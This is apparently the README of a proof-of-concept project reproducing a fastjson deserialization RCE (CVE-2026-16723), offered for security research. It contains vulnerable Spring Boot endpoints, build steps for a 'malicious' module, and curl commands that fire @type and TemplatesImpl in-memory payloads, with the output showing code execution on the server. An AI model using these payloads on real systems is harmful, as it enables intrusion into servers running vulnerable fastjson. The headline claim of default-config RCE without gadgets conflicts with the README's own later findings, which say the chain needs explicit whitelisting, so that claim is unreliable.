
Reproduction project for CVE-2026-16723, a critical RCE in fastjson 1.2.68-1.2.83. Demonstrates AutoType bypass, JNDI injection, and TemplatesImpl in-memory payloads with vulnerable Spring Boot endpoints.
This project reproduces CVE-2026-16723 — a critical Remote Code Execution (RCE) vulnerability in fastjson 1.2.68 through 1.2.83. The vulnerability allows RCE under default configuration without requiring AutoType enablement or pre-existing classpath gadgets.
| Property | Value |
|---|
| CVE ID | CVE-2026-16723 |
| Component | fastjson |
| Affected Versions | 1.2.68 – 1.2.83 |
| Fixed Versions | 1.2.84+, 2.0.0+ |
| Vulnerability Type | Deserialization / RCE |
| Severity | CVSS 3.1: 9.0 (CRITICAL) |
| Attack Vector | Network |
| Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
fastjson-cve-2026-16723/
├── pom.xml # Main project (Spring Boot app with vulnerable fastjson)
├── src/main/java/com/example/cve/
│ ├── FastjsonCveApplication.java # Spring Boot entry point
│ └── controller/
│ └── VulnerableController.java # Vulnerable REST endpoints
├── malicious/ # Separate module: malicious JAR for supply chain simulation
│ ├── pom.xml
│ └── src/main/java/exploit/
│ ├── MaliciousClass.java # Malicious class with static initializer
│ ├── EvilTranslet.java # Malicious translet for TemplatesImpl in-memory mode
│ └── GenTemplatesPayload.java # Generates the TemplatesImpl JSON payload
├── templates-payload.json # Generated TemplatesImpl payload (direct variant)
├── templates-payload-preload.json # Generated TemplatesImpl payload (Class preload variant)
├── target/
│ └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
└── malicious-jar-1.0.jar
fastjson 1.2.68–1.2.83 contains a bypass in the AutoType protection mechanism. Even with default configuration (autoTypeSupport=false), attackers can instantiate arbitrary classes via crafted JSON payloads using exploit chains such as:
java.lang.Class + com.sun.rowset.JdbcRowSetImpl (JNDI injection)java.lang.Runtime (direct command execution)@type: exploit.MaliciousClass)VulnerableController.java — two endpoints demonstrate the issue:
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
// Vulnerable: JSON.parseObject with default config
// No ParserConfig.getGlobalInstance().setAutoTypeSupport(true) required!
JSONObject obj = JSON.parseObject(json);
return "Parsed: " + obj.toJSONString();
}
@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
// Force deserialization to Object — triggers actual class instantiation
Object obj = JSON.parse(json);
return "Deserialized: " + obj.getClass().getName();
}
# Build main application
mvn clean package -DskipTests
# Build malicious JAR (separate module)
cd malicious && mvn clean package && cd ..
target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — Spring Boot fat JARmalicious/target/malicious-jar-1.0.jar — Malicious JAR with exploit.MaliciousClassjava -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
Server starts on http://localhost:8080
Runtime requirement: this project targets Java 8 and the TemplatesImpl in-memory mode is verified on JDK 8. On JDK 9+ the module system blocks reflective access to
java.xmlinternals, so the chain fails withError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplunless you add the--add-opensflags:java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \ -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
The main pom.xml declares the malicious JAR as a dependency, so it's bundled in the fat JAR:
<dependency>
<groupId>exploit</groupId>
<artifactId>malicious-jar</artifactId>
<version>1</version>
</dependency>
Verify at runtime:
curl http://localhost:8080/api/debug
curl http://localhost:8080/api/test
Expected: CVE-2026-16723 Reproduction Endpoint Ready...
The malicious module provides exploit.MaliciousClass with a static initializer that executes calc.exe on class load.
curl -X POST http://localhost:8080/api/deserialize \
-H "Content-Type: application/json" \
-d '{"@type":"exploit.MaliciousClass"}'
Result:
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<
And calc.exe launches on the server.
Note: This demonstrates a supply chain scenario where a malicious dependency is present on the classpath. The vulnerability allows instantiation of any class on the classpath, not just JDK classes.
Unlike the supply chain mode (which needs the malicious class on the classpath) and the JNDI mode (which needs an LDAP/RMI server), this mode embeds the malicious bytecode directly in the payload and loads it from memory via com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — nothing extra needs to be deployed.
Step 1 — generate the payload:
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload
This compiles exploit.EvilTranslet (an AbstractTranslet subclass whose static initializer runs calc.exe), base64-encodes its .class bytes, and writes:
templates-payload.json — direct variant ("@type": "TemplatesImpl")templates-payload-preload.json — java.lang.Class preload variantStep 2 — fire the payload:
curl -X POST http://localhost:8080/api/deserialize-autotype \
-H "Content-Type: application/json" \
--data-binary @templates-payload.json
Result:
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<
And calc.exe launches on the server.
⚠️ Empirical findings (verified against fastjson 1.2.83): the TemplatesImpl chain is not triggerable under pure default configuration:
- The direct
@typepayload is rejected by the AutoType denyList (autoType is not support).- The
java.lang.Classpreload chain fails on two counts:java.lang.Classitself is on the denyList (autoType is not support. java.lang.Class), and even preloadingTemplatesImplinto the internal class mappings does not bypass the denyList — the 1.2.47-era mapping bypass is fixed on 1.2.83.autoTypeSupport(true)alone is not enough either: the denyList takes priority over the autoType flag.- The chain fires only when the class is whitelisted via
ParserConfig.addAccept(...)(the acceptList has priority over the denyList) andFeature.SupportNonPublicFieldis enabled (TemplatesImpl's_bytecodes/_name/_tfactoryare private fields).- The
/api/deserialize-autotypeendpoint implements exactly this combination.- Runtime: the chain is verified on JDK 8. On JDK 9+ the module system blocks reflective access to
java.xmlinternals, so instance creation fails withError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplunless the JVM flags in Running the Application are used.
| Endpoint | Behavior |
|---|---|
POST /api/parse | Parses to JSONObject — may not trigger full deserialization for all payloads |
POST /api/deserialize | Parses to Object — forces full deserialization and class instantiation (default config) |
POST /api/deserialize-nonpublic | JSON.parse + Feature.SupportNonPublicField — writes private fields, but denyList still blocks TemplatesImpl |
POST /api/deserialize-autotype | AutoType + addAccept + SupportNonPublicField — fires the TemplatesImpl in-memory chain |
For the malicious class exploit, /api/deserialize is required to trigger the static initializer.
Upgrade fastjson to a patched version:
<!-- Option 1: fastjson 1.x (recommended for 1.x users) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.84</version>
</dependency>
<!-- Option 2: fastjson 2.x (recommended for new projects) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.0</version>
</dependency>
// Disable AutoType globally (partial mitigation — exploit chains may still bypass)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// Or use safeMode (fastjson 1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);
This project is for educational and defensive security research purposes only.
- Do not use against systems you don't own or have explicit written permission to test.
- The author is not responsible for any misuse, damage, or legal consequences arising from the use of this code.
- Always follow responsible disclosure practices when discovering vulnerabilities.
- This reproduction uses a benign payload (
calc.exe) for demonstration; real exploits can cause severe harm.
This project is provided as-is for security research. No warranty expressed or implied.